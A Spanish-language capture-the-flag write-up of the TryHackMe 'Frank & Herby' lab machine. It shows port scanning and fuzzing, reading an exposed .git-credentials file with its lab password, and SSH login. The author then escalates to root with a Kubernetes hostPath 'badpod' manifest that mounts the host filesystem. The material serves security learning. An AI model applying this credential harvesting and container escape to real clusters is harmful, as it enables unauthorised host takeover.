Frank & Herby THM - WriteUp
Hoy estaremos tocando la máquina frank-herby de la plataforma TryHackMe. Vamos a aprender cositas sobre Kubernetes.
Enumeración Inicial.
Lo primero que haremos será escanear el host en busqueda de servicios expuestos. Para esta taréa usaremos nmap. La máquina tarda un poco en arrancar…
# Nmap 7.91 scan initiated Wed Feb 22 14:03:57 2023 as: nmap -sC -sV -Pn -oN Extraction -p22,3000,10250,10255,10257,10259,16443,25000,31337,32000 10.10.232.30
Nmap scan report for 10.10.232.30
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 64:79:10:0d:72:67:23:80:4a:1a:35:8e:0b:ec:a1:89 (RSA)
| 256 3b:0e:e7:e9:a5:1a:e4:c5:c7:88:0d:fe:ee:ac:95:65 (ECDSA)
|_ 256 d8:a7:16:75:a7:1b:26:5c:a9:2e:3f:ac:c0:ed:da:5c (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Content-Type-Options: nosniff
| X-Frame-Options: sameorigin
| Content-Security-Policy: default-src 'self' ; connect-src *; font-src 'self' data:; frame-src *; img-src * data:; media-src * data:; script-src 'self' 'unsafe-eval' ; style-src 'self' 'unsafe-inline'
| X-Instance-ID: 4tZYPb38TBmF7gacY
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Wed, 22 Feb 2023 13:04:10 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/a3e89fa2bdd3f98d52e474085bb1d61f99c0684d.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
| <meta name="distribution" content
| HTTPOptions:
| HTTP/1.1 200 OK
| X-XSS-Protection: 1
| X-Content-Type-Options: nosniff
| X-Frame-Options: sameorigin
| Content-Security-Policy: default-src 'self' ; connect-src *; font-src 'self' data:; frame-src *; img-src * data:; media-src * data:; script-src 'self' 'unsafe-eval' ; style-src 'self' 'unsafe-inline'
| X-Instance-ID: 4tZYPb38TBmF7gacY
| Content-Type: text/html; charset=utf-8
| Vary: Accept-Encoding
| Date: Wed, 22 Feb 2023 13:04:11 GMT
| Connection: close
| <!DOCTYPE html>
| <html>
| <head>
| <link rel="stylesheet" type="text/css" class="__meteor-css__" href="/a3e89fa2bdd3f98d52e474085bb1d61f99c0684d.css?meteor_css_resource=true">
| <meta charset="utf-8" />
| <meta http-equiv="content-type" content="text/html; charset=utf-8" />
| <meta http-equiv="expires" content="-1" />
| <meta http-equiv="X-UA-Compatible" content="IE=edge" />
| <meta name="fragment" content="!" />
|_ <meta name="distribution" content
10250/tcp open ssl/http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
| ssl-cert: Subject: commonName=dev-01@1633275132
| Subject Alternative Name: DNS:dev-01
| Not valid before: 2021-10-03T14:32:12
|_Not valid after: 2022-10-03T14:32:12
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10255/tcp open http Golang net/http server (Go-IPFS json-rpc or InfluxDB API)
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
10257/tcp open ssl/unknown
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| Date: Wed, 22 Feb 2023 13:04:14 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| Date: Wed, 22 Feb 2023 13:04:14 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
| ssl-cert: Subject: commonName=localhost@1677070507
| Subject Alternative Name: DNS:localhost, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2023-02-22T11:54:51
|_Not valid after: 2024-02-22T11:54:51
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
10259/tcp open ssl/unknown
| fingerprint-strings:
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| Date: Wed, 22 Feb 2023 13:04:14 GMT
| Content-Length: 185
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot get path "/"","reason":"Forbidden","details":{},"code":403}
| HTTPOptions:
| HTTP/1.0 403 Forbidden
| Cache-Control: no-cache, private
| Content-Type: application/json
| X-Content-Type-Options: nosniff
| Date: Wed, 22 Feb 2023 13:04:15 GMT
| Content-Length: 189
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"forbidden: User "system:anonymous" cannot options path "/"","reason":"Forbidden","details":{},"code":403}
| ssl-cert: Subject: commonName=localhost@1677070505
| Subject Alternative Name: DNS:localhost, DNS:localhost, IP Address:127.0.0.1
| Not valid before: 2023-02-22T11:54:50
|_Not valid after: 2024-02-22T11:54:50
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
16443/tcp open ssl/unknown
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 401 Unauthorized
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 22 Feb 2023 13:04:42 GMT
| Content-Length: 129
| {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest, HTTPOptions:
| HTTP/1.0 401 Unauthorized
| Cache-Control: no-cache, private
| Content-Type: application/json
| Date: Wed, 22 Feb 2023 13:04:14 GMT
| Content-Length: 129
|_ {"kind":"Status","apiVersion":"v1","metadata":{},"status":"Failure","message":"Unauthorized","reason":"Unauthorized","code":401}
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=Canonical/stateOrProvinceName=Canonical/countryName=GB
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster, DNS:kubernetes.default.svc.cluster.local, IP Address:127.0.0.1, IP Address:10.152.183.1, IP Address:10.10.232.30, IP Address:172.17.0.1
| Not valid before: 2023-02-22T12:48:54
|_Not valid after: 2024-02-22T12:48:54
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
| h2
|_ http/1.1
25000/tcp open ssl/http Gunicorn 19.7.1
|_http-server-header: gunicorn/19.7.1
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=127.0.0.1/organizationName=Canonical/stateOrProvinceName=Canonical/countryName=GB
| Subject Alternative Name: DNS:kubernetes, DNS:kubernetes.default, DNS:kubernetes.default.svc, DNS:kubernetes.default.svc.cluster, DNS:kubernetes.default.svc.cluster.local, IP Address:127.0.0.1, IP Address:10.152.183.1, IP Address:10.10.232.30, IP Address:172.17.0.1
| Not valid before: 2023-02-22T12:48:54
|_Not valid after: 2024-02-22T12:48:54
31337/tcp open http nginx 1.21.3
|_http-server-header: nginx/1.21.3
|_http-title: Heroic Features - Start Bootstrap Template
32000/tcp open http Docker Registry (API: 2.0)
|_http-title: Site doesn't have a title.
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Feb 22 14:05:47 2023 -- 1 IP address (1 host up) scanned in 109.94 seconds
Tiene bastantes puertos abiertos, entre ellos podemos ver una API de Kubernetes. Ademas vemos dos aplicaciones web.
Un Rocket Chat (puerto 3000) que permite que nos registremos, si nos registramos podemos ver que se habla sobre un proyecto (una web) que esta desplegado en el puerto “31337”
En este chat también se habla sobre Microk8s, ademas, uno de los usuarios le menciona a otro que quite toda la basura del proyecto web alojado en el puerto 31337.
Si hacemos fuzzing podemos encontrar el siguiente directorio.
❯ dirsearch -u http://10.10.232.30:31337/
_|. _ _ _ _ _ _|_ v0.4.2
(_||| _) (/_(_|| (_| )
Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 30 | Wordlist size: 10909
Output File: /usr/local/lib/python3.9/dist-packages/dirsearch-0.4.2-py3.9.egg/dirsearch/reports/10.10.232.30:31337/-_23-02-22_14-21-41.txt
Error Log: /usr/local/lib/python3.9/dist-packages/dirsearch-0.4.2-py3.9.egg/dirsearch/logs/errors-23-02-22_14-21-41.log
Target: http://10.10.232.30:31337/
[14:21:41] Starting:
[14:21:43] 200 - 50B - /.git-credentials
[14:21:51] 403 - 555B - /assets/
[14:21:51] 301 - 169B - /assets -> http://10.10.232.30/assets/
[14:21:53] 301 - 169B - /css -> http://10.10.232.30/css/
[14:21:55] 200 - 5KB - /index.html
[14:22:02] 403 - 555B - /vendor/
El archivo .git-credentials tiene un usuario y una contraseña:
❯ curl http://10.10.232.30:31337/.git-credentials
http://frank:f%40an3-1s-E337%21%21@192.168.100.50
El archivo .git-credentials es un archivo de configuración utilizado por Git para almacenar de manera segura las credenciales de autenticación (como nombres de usuario y contraseñas) que se utilizan para acceder a repositorios remotos.
Si intentamos loggearnos por ssh podemos comprobar que la contraseña es valida (Hay que url decodearla).
❯ ssh frank@10.10.232.30
frank@10.10.232.30 password:
Welcome to Ubuntu 20.04.2 LTS (GNU/Linux 5.4.0-89-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
System information disabled due to load higher than 1.0
* Super-optimized for small spaces - read how we shrank the memory
footprint of MicroK8s to make it the smallest full K8s around.
https://ubuntu.com/blog/microk8s-memory-optimisation
113 updates can be installed immediately.
2 of these updates are security updates.
To see these additional updates run: apt list --upgradable
Last login: Fri Oct 29 10:47:08 2021 from 192.168.120.38
frank@dev-01:~$ id
uid=1001(frank) gid=1001(frank) groups=1001(frank),998(microk8s)
Podemos observar que se encuentra en el grupo microk8s.
Microk8s: es una implementación de Kubernetes que permite ejecutar Kubernetes en Snap. Gracias a que estamos en este grupo podemos gestionar todo lo que este relacionado con Kubernetes.
Podemos hacer uso de esa herramienta para listar pods, por ejemplo:
frank@dev-01:/$ microk8s kubectl get pods
NAME READY STATUS RESTARTS AGE
nginx-deployment-7b548976fd-77v4r 1/1 Running 2 482d
Hay un pod corriendo… Vamos a ver que permisos tenemos:
frank@dev-01:/$ microk8s kubectl auth can-i --list
Resources Non-Resource URLs Resource Names Verbs
*.* [] [] [*]
[*] [] [*]
Podemos realizar todas las accciones, ahora voy a ver en formato yaml el pod anterior para sacar algunas conclusiones.
frank@dev-01:/$ microk8s kubectl get pod nginx-deployment-7b548976fd-77v4r -o yaml
apiVersion: v1
kind: Pod
metadata:
annotations:
cni.projectcalico.org/podIP: 10.1.133.237/32
cni.projectcalico.org/podIPs: 10.1.133.237/32
creationTimestamp: "2021-10-27T19:48:23Z"
generateName: nginx-deployment-7b548976fd-
labels:
app: nginx
pod-template-hash: 7b548976fd
name: nginx-deployment-7b548976fd-77v4r
namespace: default
ownerReferences:
- apiVersion: apps/v1
blockOwnerDeletion: true
controller: true
kind: ReplicaSet
name: nginx-deployment-7b548976fd
uid: 3e23e71f-b91a-41de-a65a-e50629eb51ec
resourceVersion: "1811239"
selfLink: /api/v1/namespaces/default/pods/nginx-deployment-7b548976fd-77v4r
uid: 29879983-7b7f-4143-a8b9-1eb34951fd6d
spec:
containers:
- image: localhost:32000/bsnginx
imagePullPolicy: Always
name: nginx
ports:
- containerPort: 80
protocol: TCP
La imagen usada es “localhost:32000/bsnginx”, ahora intentaré crear un badpod.
apiVersion: v1
kind: Pod
metadata:
name: pod-bly
namespace: default
spec:
containers:
- name: pod-bly
image: localhost:32000/bsnginx
volumeMounts:
- mountPath: /mnt
name: hostfs
volumes:
- name: hostfs
hostPath:
path: /
automountServiceAccountToken: true
hostNetwork: true
Nos montará todo el sistema de archivos en /mnt dentro del contenedor. Vamos a desplegarlo.
frank@dev-01:/tmp$ microk8s kubectl apply -f badpod.yaml
pod/pod-bly created
Ahora vamos a intentar entrar al contenedor que se ha creado dentro de ese pod para acceder al sistema de archivos de la máquina anfitriona.
frank@dev-01:/tmp$ microk8s kubectl exec --stdin --tty pod-bly -- /bin/sh
# id
uid=0(root) gid=0(root) groups=0(root)
# cd /mnt
# ls
bin boot cdrom dev etc home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp usr var
# cd /root/root
/bin/sh: 4: cd: can't cd to /root/root
# cd root
# ls
root.txt snap
Ya estaría pwneada… La Máquina muy bien, la velocidad de respuesta de la máquina deja muchisimo que desear… Thanks THM